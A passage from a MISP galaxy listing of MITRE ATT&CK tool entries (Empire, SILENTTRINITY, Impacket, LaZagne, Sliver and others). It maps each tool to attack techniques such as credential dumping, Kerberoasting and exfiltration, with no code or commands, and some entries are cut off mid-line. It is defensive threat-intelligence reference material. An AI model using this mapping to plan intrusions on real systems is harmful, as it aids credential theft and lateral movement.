- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with
estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 7261. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0378">https://attack.mitre.org/software/S0378</a></td>
</tr>
<tr>
<td><a href="https://github.com/nettitude/PoshC2_Python">https://github.com/nettitude/PoshC2_Python</a></td>
</tr>
</tbody>
</table>
AdFind - S0552

[AdFind](https://attack.mitre.org/software/S0552) is a free command-line query tool that can be used for gathering information from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)

The tag is: `misp-galaxy:mitre-tool="AdFind - S0552"`

AdFind - S0552 is also known as:

- AdFind

View relationships graph

AdFind - S0552 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482"` with `estimative-language:likelihood-probability="almost-certain"`

Table 7262. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0552">https://attack.mitre.org/software/S0552</a></td>
</tr>
</tbody>
</table>

RemoteUtilities - S0592

[RemoteUtilities](https://attack.mitre.org/software/S0592) is a legitimate remote administration tool that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)

The tag is: `misp-galaxy:mitre-tool="RemoteUtilities - S0592"`

RemoteUtilities - S0592 is also known as:

- RemoteUtilities
RemoteUtilities - S0592 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 7263. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0592">https://attack.mitre.org/software/S0592</a></td>
</tr>
</tbody>
</table>

**SILENTTRINITY - S0692**

[SILENTTRINITY](https://attack.mitre.org/software/S0692) is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. [SILENTTRINITY](https://attack.mitre.org/software/S0692) was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.(Citation: GitHub SILENTTRINITY March 2022)(Citation: Security Affairs SILENTTRINITY July 2019)

The tag is: misp-galaxy:mitre-tool="SILENTTRINITY - S0692"

SILENTTRINITY - S0692 is also known as:

- SILENTTRINITY

**View relationships graph**

SILENTTRINITY - S0692 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 7264. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0692">https://attack.mitre.org/software/S0692</a></td>
</tr>
<tr>
<td><a href="https://github.com/byt3bl33d3r/SILENTTRINITY">https://github.com/byt3bl33d3r/SILENTTRINITY</a></td>
</tr>
</tbody>
</table>

**Xbot - S0298**

[Xbot](https://attack.mitre.org/software/S0298) is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia. (Citation: PaloAlto-Xbot)

The tag is: misp-galaxy:mitre-tool="Xbot - S0298"

View relationships graph

Xbot - S0298 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:banker="TinyNuke" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1642" with estimative-language:likelihood-probability="almost-certain"

Table 7265. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0298">https://attack.mitre.org/software/S0298</a></td>
</tr>
</tbody>
</table>
Empire - S0363

Empire - S0363 is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure PowerShell for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)

The tag is: `misp-galaxy:mitre-tool="Empire - S0363"`

Empire - S0363 is also known as:

- Empire
- EmPyre
- PowerShell Empire

View relationships graph

Empire - S0363 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1574.004" with estimative-language:likelihood-probability="almost-certain"

Table 7266. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0363">https://attack.mitre.org/software/S0363</a></td>
</tr>
<tr>
<td><a href="https://github.com/PowerShellEmpire/Empire">https://github.com/PowerShellEmpire/Empire</a></td>
</tr>
<tr>
<td><a href="https://github.com/dstepanic/attck_empire">https://github.com/dstepanic/attck_empire</a></td>
</tr>
</tbody>
</table>

**Sliver - S0633**

[Sliver](https://attack.mitre.org/software/S0633) is an open source, cross-platform, red team command and control framework written in Golang.(Citation: Bishop Fox Sliver Framework August 2019)

The tag is: *misp-galaxy:mitre-tool="Sliver - S0633"*

Sliver - S0633 is also known as:

• Sliver

View relationships graph

Sliver - S0633 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
RawDisk - S0364

[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features. (Citation: EldoS RawDisk ITpro) (Citation: Novetta Blockbuster Destructive Malware)

The tag is: **misp-galaxy:mitre-tool="RawDisk - S0364"**

RawDisk - S0364 is also known as:

- RawDisk

View relationships graph

RawDisk - S0364 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"
LaZagne - S0349

[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub. (Citation: GitHub LaZagne Dec 2018)

The tag is: `misp-galaxy:mitre-tool="LaZagne - S0349"

LaZagne - S0349 is also known as:

- LaZagne

View relationships graph

LaZagne - S0349 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keychain - T1555.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="/etc/passwd and /etc/shadow - T1003.008"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004"` with estimative-language:likelihood-probability="almost-certain"
Impacket - S0357

[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks. (Citation: Impacket Tools)

The tag is: **misp-galaxy:mitre-tool="Impacket - S0357"**

Impacket - S0357 is also known as:

- Impacket

View relationships graph

Impacket - S0357 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 7270. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0357">Attic</a></td>
</tr>
</tbody>
</table>

4329
Ruler - S0358

[Ruler](https://attack.mitre.org/software/S0358) is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of [Ruler](https://attack.mitre.org/software/S0358) have also released a defensive tool, NotRuler, to detect its usage.(Citation: SensePost Ruler GitHub)(Citation: SensePost NotRuler)

The tag is: **misp-galaxy:mitre-tool="Ruler - S0358"**

Ruler - S0358 is also known as:

- Ruler

View relationships graph

Ruler - S0358 has relationships with:

- uses: **misp-galaxy:mitre-attack-pattern="Outlook Rules - T1137.005"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="Email Account - T1087.003"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004"** with estimative-language:likelihood-probability="almost-certain"

Table 7271. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0358">https://attack.mitre.org/software/S0358</a></td>
</tr>
<tr>
<td><a href="https://github.com/sensepost/notruler">https://github.com/sensepost/notruler</a></td>
</tr>
<tr>
<td><a href="https://github.com/sensepost/ruler">https://github.com/sensepost/ruler</a></td>
</tr>
</tbody>
</table>

Nltest - S0359

[Nltest](https://attack.mitre.org/software/S0359) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)

The tag is: **misp-galaxy:mitre-tool="Nltest - S0359"**

Nltest - S0359 is also known as:

- Nltest

View relationships graph
Nltest - S0359 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 7272. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0359">https://attack.mitre.org/software/S0359</a></td>
</tr>
<tr>
<td><a href="https://ss64.com/nt/nltest.html">https://ss64.com/nt/nltest.html</a></td>
</tr>
</tbody>
</table>

Peirates - S0683

[Peirates](https://attack.mitre.org/software/S0683) is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.(Citation: Peirates GitHub)

The tag is: *misp-galaxy:mitre-tool="Peirates - S0683"*

Peirates - S0683 is also known as:

- Peirates

View relationships graph

Peirates - S0683 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Storage Object Discovery - T1619" with estimative-language:likelihood-probability="almost-certain"
ShimRatReporter - S0445

[ShimRatReporter](https://attack.mitre.org/software/S0445) is a tool used by suspected Chinese adversary [Mofang](https://attack.mitre.org/groups/G0103) to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as [ShimRat](https://attack.mitre.org/software/S0444)) as well as set up faux infrastructure which mimics the adversary's targets. [ShimRatReporter](https://attack.mitre.org/software/S0445) has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.(Citation: FOX-IT May 2016 Mofang)

The tag is: *misp-galaxy:mitre-tool="ShimRatReporter - S0445"

ShimRatReporter - S0445 is also known as:

- ShimRatReporter

View relationships graph

ShimRatReporter - S0445 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-
Table 7274. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0445">https://attack.mitre.org/software/S0445</a></td>
</tr>
<tr>
<td><a href="https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf">https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf</a></td>
</tr>
</tbody>
</table>

**CARROTBALL - S0465**

[CARROTBALL](https://attack.mitre.org/software/S0465) is an FTP downloader utility that has been in use since at least 2019. [CARROTBALL](https://attack.mitre.org/software/S0465) has been used as a downloader to install [SYSCON](https://attack.mitre.org/software/S0464). (Citation: Unit 42 CARROTBAT January 2020)

The tag is: *misp-galaxy:mitre-tool="CARROTBALL - S0465"*

CARROTBALL - S0465 is also known as:

- CARROTBALL

View relationships graph
CARROTBALL - S0465 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7275. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0465">https://attack.mitre.org/software/S0465</a></td>
</tr>
</tbody>
</table>

Wevtutil - S0645

Wevtutil ([https://attack.mitre.org/software/S0645](https://attack.mitre.org/software/S0645)) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers. (Citation: Wevtutil Microsoft Documentation)

The tag is: misp-galaxy:mitre-tool="Wevtutil - S0645"

Wevtutil - S0645 is also known as:

- Wevtutil

View relationships graph

Wevtutil - S0645 has relationships with:

